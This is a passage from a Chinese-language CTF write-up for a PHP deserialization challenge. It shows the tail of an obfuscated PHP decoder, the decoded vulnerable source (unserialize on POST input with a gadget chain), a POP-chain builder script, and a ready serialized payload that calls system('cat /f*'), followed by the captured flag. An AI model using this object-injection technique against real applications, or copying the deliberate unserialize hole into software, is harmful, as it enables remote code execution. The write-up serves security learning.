YmfdIc1oSHdTSmzUStjTSmzUSmzUSmfPb2voTmEkploPoIapHhOPHM8HTDjTSmzUSt0TmHzUSmz/wU=="; echo ('?>'.$O00O0O($O0OO00($OO0O00($O0O000,$OO0000*2),$OO0O00($O0O000,$OO0000,$OO0000), $OO0O00($O0O000,0,$OO0000))));
?>

这样就得到了源码，长这样：

<?php
    error_reporting(0);

    class shi
    {
        public $next;
        public $pass;
        public function __toString(){
            $this->next::PLZ($this->pass);
        }
    }
    class wo
    {
        public $sex;
        public $age;
        public $intention;
        public function __destruct(){
            echo "Hi Try serialize Me!";
            $this->inspect();
        }
        function inspect(){
            if($this->sex=='boy'&&$this->age=='eighteen')
            {
                echo $this->intention;
            }
            echo "18岁";
        }
    }

    class Demo
    {
        public $a;
        static function __callStatic($action, $do)
        {
            global $b;
            $b($do[0]);
        }
    }

    $b = $_POST['password'];
    $a = $_POST['username'];
    @unserialize($a);
    if (!isset($b)) {
        echo "==================PLZ Input Your Name!==================";
    }
    if($a=='admin'&&$b=="'k1fuhu's test demo")
    {
        echo("登录成功");
    }

    ?>

这样再配一下链子：

<?php
class shi{}
class wo{}
class Demo{}

$c=new Demo();
$b=new shi();
$a=new wo();
$a->sex='boy';
$a->age='eighteen';
$a->intention=$b;
$b->next=$c;
$b->pass='cat /f*';
echo serialize($a);

得到序列化的代码：

username=O:2:"wo":3:{s:3:"sex";s:3:"boy";s:3:"age";s:8:"eighteen";s:9:"intention";O:3:"shi":2:{s:4:"next";O:4:"Demo":0:{}s:4:"pass";s:7:"cat /f*";}}&password=system

得到flag：

qsnctf{8e7b8ba095db4988aa48d299211875fc}

完结撒花！！！希望对师傅们有帮助！◕‿◕